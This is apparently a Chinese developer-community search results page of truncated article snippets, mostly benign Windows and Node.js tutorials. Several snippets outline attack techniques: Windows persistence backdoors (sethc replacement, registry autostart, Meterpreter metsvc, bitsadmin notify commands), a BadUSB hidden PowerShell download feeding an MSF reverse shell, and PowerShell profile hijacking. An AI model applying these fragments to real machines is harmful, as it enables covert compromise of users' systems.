首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

node.js(1)

在node.js环境中执行JavaScript代码 打开终端 输入node 要执行的JS文件的路径 现在我演示一遍: 首先,我们准备好一个脚本文件: 接下来打开我们的终端: win键+R ,输入cmd...①我们可以输入"cd "+路径 ②也可以直接在地址栏输入cmd直接进入终端(win10) ③还有一种方法:在空白处按住shift键+鼠标右键,选择"在此处打开powershell窗口"...运行: 得到结果: 终端中的快捷键 使用"↑"键,可以快速定位到上一次执行的命令 使用"tab"键,能够快速补全路径 使用Esc键,能够快速清空当前已输入的命令 输入cls命令,可以清空终端.../开头的相对路径时,很容易出现路径拼接错误的问题. 原因: 代码在运行的时候,会以执行node命令时所处的目录,动态拼接出被操作文件的完整路径 解决方法: 出现错误的原因,是因为使用了..../等相对路径,所以改成绝对路径即可,但是这种方法移植性差,难以维护 __dirname表示当前文件所处的目录 path路径模块 path模块是node.js官方提供的,用来处理路径的模块.它提供了一系列的方法和属性

1.2K10

默认应用2个Edge,有一个是纯色图标,如何删除那个纯色图标?

网传最多的办法,有个“Uninstall Edge.cmd" 的脚本文件,这种方法不可取,执行后影响后续的更新。...PsExec.exe https://live.sysinternals.com/PsExec64.exe 下载后放到服务器C:\Windows\System32目录下 然后以Administrator身份在cmd...命令行执行 psexec.exe -accepteula -nobanner -i -s powershell 或 PsExec64.exe -accepteula -nobanner -i -s powershell...会打开一个有system权限(比Administrator权限大)的powershell窗口来执行如下命令 奇怪的是,提权后竟然找不到这个路径的注册表了 后来想了下,注册表虽然是system用户把关...(不让其他用户删),但这个注册表在system用户下却是看不到的,需要普通用户打开注册表才能看得到,因此只能用https://bbs.pcbeta.com/viewthread-1889924-1-1.

95320
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    psexec提权删除残留的显卡驱动文件

    PsExec.exehttps://live.sysinternals.com/PsExec64.exe下载后放到服务器C:\Windows\System32目录下然后以Administrator身份在cmd...命令行执行psexec.exe -accepteula -nobanner -i -s powershellpsexec.exe -accepteula -nobanner -i -s cmd或PsExec64...可有可无,主要是后面的-is简单记的话就是psexec -is cmd或psexec -is powershell,执行后会打开一个有system权限(比Administrator权限大)的窗口,在这个窗口里执行你想执行的命令...,比如删除某个有权限保护但没啥用的文件夹,例如卸载显卡驱动,已经从appwiz.cpl程序列表卸载了,但C:\Windows\System32\DriverStore\FileRepository\目录还残留有计算型驱动...nv_disp打头和渲染型驱动nvgrid打头的2个文件夹,正常删除是删不了的,得提权后执行删除命令(cmd执行)rd /s /q C:\Windows\System32\DriverStore\FileRepository

    1.5K10

    提权处理部分需要system、trustedinstaller等权限才能处理的计划任务

    渲染场景有些计划任务是需要处理掉的,这里以渲染场景为例介绍需要system权限才能处理的一些计划任务【获取】以Administrator身份运行powershell命令获取可能影响渲染的计划任务列表:Get-ScheduledTask...PsExec.exehttps://live.sysinternals.com/PsExec64.exe下载后放到服务器C:\Windows\System32目录下然后以Administrator身份在cmd...命令行执行psexec.exe -accepteula -nobanner -i -s powershellpsexec.exe -accepteula -nobanner -i -s cmd或PsExec64....exe -accepteula -nobanner -i -s powershellPsExec64.exe -accepteula -nobanner -i -s cmd会打开一个有system权限...(比Administrator权限大)的powershell窗口来执行如下禁用可能影响渲染的计划任务的命令【禁用】在psexec打开的powershell窗口里执行如下代码Get-ScheduledTask

    1.2K20

    Windows常见的持久化后门汇总

    windows中,我们可以直接把setch.exe替换成我们的后门程序.并在用户的登录页面敲击五次shift键就可以出现CMD窗口. 0×2 注册表自启动 MSF的Persistence模块利用的就是写注册表自启动项来实现的...at:at命令在win7-08等高版本的windows中是不能将任务在前台执行的,也就是只会打开一个后台进程. schtasks:是将定时的任务在前台执行. ? ?...MSF可以使用Metsvc创建服务,此类操作极容易被AV查杀. meterpreter > run metsvc -A 运行run metsvc -A完将会在目标主机上以Meterpreter的服务的形式注册在服务列表中...Powershell和bitsadmin.exe都可用于创建和管理Bits Job,但Powershell似乎只支持文件传输,windows原生程序bitsadmin.exe还支持传输完成后执行代码....我这里直接复制本地calc.exe bitsadmin /SetNotifyCmdLine test cmd.exe "cmd.exe /c calc.exe" #设置任务完成时将运行的命令 bitsadmin

    2.4K30

    基于ArduinoLeonardo板子的BadUSB攻击实战

    (为贴近实战在某宝上买了个带外壳的Leonardo:P) 1 、绕过360主动防御 输入Powershell命令 powershell -Command $clnt = new-object System.Net.WebClient...这显然会引起用户注意:-O,而在之前文章中并未提及,可能是在未装杀软的虚拟机中运行的。...2、最大化隐蔽操作 在调出运行窗口后输入 cmd /c start /min powershell -w hidden /c标明执行玩/c后面的语句后关闭cmd窗口,就不会弹出一个黑框来吓人了,start.../min是最小化窗口运行命令,可以避免弹出powershell的蓝框,-w hidden是让powershell以隐蔽的模式运行,此时仍可以输入命令,但不会出现对话框,这样就可以让命令运行尽可能的隐蔽了...然后会打开一个MSF的Reverse_TCP Listener ?

    2.1K70

    红队技巧-持久性技巧

    结束cmd进程,相应的shell也会死掉,期间想过各种方式,方法,但都没用,这是一个很烧脑的东西! ?...优化: 我们完全可以用木马可执行文件来替换cmd执行powershell,这样后台将不会有任何操作显示,这样隐蔽一点,只需要把木马可执行文件绝对路径替换成链接的target就行了,这里仅提供一个思路,后续研究各位请继续...它是一个在PowerShell启动时运行的脚本,你可以使用配置文件作为登录脚本来自定义环境,你可以添加命令,功能,别名,模块等。...PowerShell配置文件脚本存储在文件夹“ WindowsPowerShel”中,默认情况下对用户隐藏。如果有效负载已放入磁盘,则可以使用。...这样我每打开一个新的powershell窗口,将会执行恶意程序! ?

    1.3K30

    neo4j初次部署安装踩坑记录

    neo4j简介和环境介绍 最近在研究知识图谱,知识图谱用于数据存储使用的是图数据库neo4j, 本文主要记录下实操过程中遇到的一些问题,写给自己当个笔记,同时也希望可以帮助到其他朋友,自己也在摸索,有什么陈述不当的地方...直接解压不需要安装 二、环境变量配置 把 jdk(在你安装时设置的安装路径下) 和 neo4j(在解压的文件夹里) 的bin目录加到环境变量,win7需要自己用【英文;】分隔,win10是直接一条条添加即可...、neo4j-admin.ps1里psd1的相对路径为绝对路径 三、Power shell 版本问题 报错信息详见二里的图中错误3 Invoke-neo4j 解决办法:更新升级Powershell...到版本3 查看本机powershell版本号: 1,开始—运行,输入powershell进入命令行窗口。...2,在命令行中输入 $PSVersionTable.PSVersion 命令查看当前版本号, 其中"Major"即为当前已安装的版本号(本例3一开始是1)。

    1.1K30

    nodejs&模块&全局对象global

    一、命令行窗口 1、 打开命令行窗口(小黑屏)、CMD窗口、终端、shell 方法一:开始菜单 -> 运行 -> cmd -> 回车 方法二:直接url栏中输入cmd 2、常用指令 dir 显示目录里面的所有文件...里面放的都是路径,该路径下的文件,可以直接打开 作用:当我们在命令行窗口打开一个文件,或调用一个程序时,系统会首选在当前目录下寻找文件程序,如果找到了则直接打开,如果没有找到则会依次到环境变量path...将一个完整的程序分成一个一个小的程序,降低耦合度,方便代码的复用。 Node.js规定一个JavaScript文件就是一个模块,每一个js文件中的js代码都是独立运行在一个函数中。...console.log(path.join('a','b','c','d')) // a\b\c\d ③ resolve() 返回绝对路径 带参数:path.resolve(相对路径)方法,返回一个相对路径的绝对路径...(2)第三方模块 nodemon 在Node.js中,每次修改文件都要在命令行工具中重新执行该文件,非常繁琐。 nodemon是一个命令行工具,用以辅助项目开发。

    1.3K20

    vim 从嫌弃到依赖(12)——打开及保存文件

    如果filename采用绝对路径,那么打开的就是绝对路径所对应的文件,如果是相对路径,那么就可以打开相对与vim工作目录的文件。...例如如果当前打开的文件在lua/basic 目录中,那么它会打开nvim-config/lua/basic/init.lua ,如果当前打开文件在nvim-config 中,它会打开nvim-config...它是vim提供的一个名为netrw 插件。 我们打开一个目录就可以看到,它在窗口中显示该目录中的文件结构。它与普通的缓冲区窗口一样,可以通过motion 操作来移动光标。...也支持命令行模式,但是这个缓冲区是不可修改的,也无法保存。在该窗口中,随意选择一行按下回车,如果选择的是一个文件,那么它会打开该文件,如果是目录那么窗口中则会进入该目录并显示目录内容。...写入文件的一些小技巧 写入不存在的目录中 我们在原项目的基础之上打开一个新的有不存在目录的文件,例如:e random/111/test.txt。

    1.9K10

    让 Windows 实现文件镜像:符号链接、硬链接、软链接

    打开你的系统盘,在根目录使用 Shift + 右键的方式进入 PowerShell,键入 dir -force 来列出所有的文件和文件夹。...即使创建时使用了相对路径,保存到NTFS中时将隐式转换成绝对路径。 但是,软链接只有在访问它们时才会反映出目标文件的更改。所以,我们用的少。...简单的说,就像在桌面上放置的图标,点击它会打开一个文件或文件夹。这是软连接的概念,它只是一个指向目标的链接。想象一下,您在电脑上有一个文件夹,如果希望在另一个文件夹中也能够访问它。...NT 6.0 开始能使用 mklink /H Windows 2000+ Windows Vista+ 可链接到不存在的目标 ❌ ✔️ ✔️ 可链接到相对目录 ❌ ❌(可以使用相对路径创建,但创建完即变绝对路径...(将设置 > 更新和安全 > 开发者选项 > 开发人员模式设置为开启) 使用方法 mklink 这种方法只能在 CMD 中使用,无法在 Powershell 中使用 > mklink 创建符号链接。

    5.8K21

    玩转 Windows Terminal

    图 1 不同的是它是多Tab的,在标题右侧有个下拉菜单,可以打开其他工具 ? 图 2 如上图可以再打开一个CMD标签。 同时我们看到了设置选项,下面就开始倒腾一下相关的配置吧。...二、配置 点击【设置】,会打开一个名为settings.json的文件,大概如下面代码所示: 1 { 2 "$schema": "https://aka.ms/terminal-profiles-schema...Profile设置: 【图2】所示的下拉菜单中,列出了"Windows PowerShell"、"命令提示符"和"Azure Cloud Shell"三个选项,为什么是这三项呢?...按住alt键, 再去点击设置选项,这时不会打开setting.json, 而是会打开一个名为default.json的文件,这就是默认的配置文件。 代码如下,做了折叠有兴趣的可以看一看。...在第二节我们知道可以在profiles的List集合中配置新的下拉选项功能。

    1.3K20

    node版本管理神器nvm安装使用教程(Windows11版本)

    首先,我们使用管理员权限打开一个新的powershell窗口,按下Win键,然后输入"PowerShell",然后右键单击"Windows PowerShell"并选择"以管理员身份运行"来打开它。...第三步,在管理员权限的PowerShell窗口中,执行以下命令来使用Chocolatey安装nvm choco install nvm 输入命令后,会弹出是否安装的提示,我们输入’y’即可确认安装。...第四步,打开一个新的powershell窗口,执行下面的命令,创建nvm的根目录 mkdir $HOME\.nvm 第五步,配置nvm的环境变量 notepad $PROFILE 这个命令将打开我们的的...第六步,验证安装,我们关闭所有的powershell窗口,并打开一个新的窗口,执行以下命令来验证nvm是否成功安装 nvm --version node --version 正常显示版本号即表示安装成功...latest // 安装最新版本node 注:当运行nvm install命令时,若出现权限问题,可以使用管理员身份运行cmd nvm use nvm use 版本号 使用指定版本的node nvm

    1.3K20

    Pyinstaller打包exe附带图片的方法

    ---- 2019.10.27更新 在最近的wordpress项目中学到了图片字节码可在文件中存在,于是我做了试验并成功了(就是代码里带一堆字节码……) 参考: https://blog.csdn.net...---- 2018.10.13附加 原来下面这个方法是把图片存到绝对路径了(存同文件夹是相对路径……),所以放哪都能用……现在没卵用,我再去找方法吧…… pyinstaller打包运行报错failed...exe造福大众,奈何路途曲折 先是vs直接装的pyinstaller不管用;后是不知如何打多个文件的项目(最后写在一个.py里了……还有import的包尽量减少了);最后是图片文件不会打包在一起,让我有种擦屎擦不干净的不爽的感觉...——一个小exe还必须和几个固定命名的图片在一个文件夹内不然打不开!!...(接下来的文件名都参照这个) 然后cmd到这个目录,(我是当前文件夹直接按住shift+右键,单击“在此处打开powershell窗口”,效果一样还方便) 在cmd里输入 : pyi-makespec

    2.8K20

    Windows 使用 Alias,高效办公指南!

    ,以此来提升工作效率 由于 Windows 系统的特殊性,在定义 Alias 方面与 Linux/Mac 不太一样 下面讲讲 Windows 分别在 CMD、PowerShell 中实现 Alias 的具体步骤...1、CMD 具体步骤如下: 1-1 创建一个批处理文件 比如:在系统的用户目录创建一个批处理文件 alias.bat 1-2 在批处理文件中,定义别名 使用关键字「 doskey 」定义别名,$*...:如果 Command Processor 不存在,可以在「 Microsoft 项」上右键,创建一个新的项,名称设置为 Command Processor 1-4 重启 CMD 命令窗口并使用 1-...别名,只需要更新批处理文件 alias.bat,然后重新启动 CMD 命令窗口即可以生效 2、PowerShell 通过测试,我们发现在 CMD 中定义的 Alias 并不能在 PowerShell 中使用...所以我们需要针对 PowerShell 另外设置 Alias 具体步骤如下: 2-1 找到配置文件绝对路径 在 PowerShell 控制台中,输入命令「 echo $profile 」获取配置文件的完整路径

    4.2K20

    pytest与Allure集成

    但是以窗口的方式,不装成windows服务,那么去运行自动化代码,就会看到电脑上有窗口弹出来,浏览器会打开一步一步得操作,你全部都是可以看得见的。 现在已经做了一个执行机向它报到了。...生成测试报告的时候,有个junit xml文件。选择这个后,这里就要求你把xml文件给到它: 配置xml文件路径,xml文件路径是需要相对路径的。...直接在这个工程下运行pytest命令就可以了。 ? 代码已经拷贝到当前工作路径下了,所以只要在当前工作路径下运行pytest命令即可。 ? ?...找到放代码的文件夹路径:F:\PO_V4_BasePage\Outputs\allure_reports,打开cmd,把路径加在命令后面。 ? 自动打开Allure报告: ? 直接用浏览器看不行吗?...这个端口号是它随机生成的。一定要在命令行中来访问。 ? 报告中不会显示重试次数的。 4.问题 如果2台都装了jenkins,那么一台可以做slave吗? 可以的,但是没必要2台都装jenkins。

    81610

    Java学习笔记_零基础系列(一)开发环境搭建-常用的DOS命令

    r (组合键):可以打开“运行”窗口 在运行窗口文本框中输入: cmd 然后回车 2、什么是DOS命令呢?...在DOS命令窗口中才可以输入并执行DOS命令。 在最初的windows计算机中没有图形界面的,只有DOS命令窗口。...也就是说通过执行DOS命令窗口可以完全完成文件的新建、编辑、保存、删除等一系列操作。...change directory(改变目录) cd命令怎么用,语法格式是什么? cd 路径 路径在windows系统上包括:相对路径和绝对路径。 什么是相对路径呢?...在windows操作系统中凡是路径起点是盘符的都是绝对路径,例如: C:\Users\Administrator C:\Users C:\Users\Public\gakataka C:\Windows

    38810

    node版本管理神器nvm安装使用教程(Windows11版本)

    首先,我们使用管理员权限打开一个新的powershell窗口,按下Win键,然后输入"PowerShell",然后右键单击"Windows PowerShell"并选择"以管理员身份运行"来打开它。...第三步,在管理员权限的PowerShell窗口中,执行以下命令来使用Chocolatey安装nvmchoco install nvm输入命令后,会弹出是否安装的提示,我们输入'y'即可确认安装。...第四步,打开一个新的powershell窗口,执行下面的命令,创建nvm的根目录mkdir $HOME\.nvm第五步,配置nvm的环境变量notepad $PROFILE这个命令将打开我们的的PowerShell...第六步,验证安装,我们关闭所有的powershell窗口,并打开一个新的窗口,执行以下命令来验证nvm是否成功安装nvm --versionnode --version正常显示版本号即表示安装成功。...,打开cmd命令行窗口,输入nvm,安装成功则会出现如下图的内容:图片nvm使用nvm用于控制node.js版本的命令主要有以下几条:nvm listnvm list可以显示已经安装的node版本列表,

    1.4K10

    Docker 学习手册

    当然,镜像作为这些只读的 layers 合成的文件系统也是只读的。 容器:Container,容器和镜像的区别就是在镜像的外面多了一层可读写的 layer。但容器未必是要在运行状态的。...CMD 就一条,就算写了多条,前面的 CMD 都会被忽略,而且在 docker run 的启动命令后加上命令,Dockerfile 里的这一句会被忽略。...ENTRYPOINT命令>:跟 CMD 一样,也是开启容器之后的启动命令,区别是 ENTRYPOINT 的命令可以在启动 docker 的时候补加命令行参数,相当于把整个镜像当做一个命令行工具来使用。.../source /target:source 要相对路径,并且必须是./ 而不能是../ 或绝对路径/,COPY 不是真的 copy 文件,而是相当于把这个文件挂载到 docker 里,让 docker...EXPOSE: 运行容器时,暴露出来的端口,但其实 EXPOSE 只是一个容器端口的声明,真正映射出去的,是在运行 docker 的时候 -p : 开的。

    2K40

    Python 自动化指南(繁琐工作自动化)第二版:附录 B:运行程序

    从终端窗口运行程序 当您打开终端窗口(如 Windows 上的命令提示符或 MacOS 和 Linux 上的终端)时,您会看到一个几乎空白的窗口,您可以在其中输入文本命令。...在 Windows 上打开一个终端窗口,点击开始按钮,进入命令提示符,按进入。在 MacOS 上,点击右上角的 Spotlight 图标,键入终端,按Enter。...此外,虽然从对话框中运行 Python 脚本会打开一个新的终端窗口来显示其输出,但该窗口会在程序结束时自动关闭,您可能会错过一些输出。...每个命令开头的@符号防止它显示在终端窗口中,并且%*将在批处理文件名后输入的任何命令行参数转发给 Python 脚本。Python 脚本依次读取sys.argv列表中的命令行参数。...本地文件夹(因为以句点开头的文件夹被认为是隐藏的),您可能需要将其保存到您的个人文件夹(如/home/al )中,并打开一个终端窗口以使用mv /home/al/example.desktop /home

    1.8K40
    领券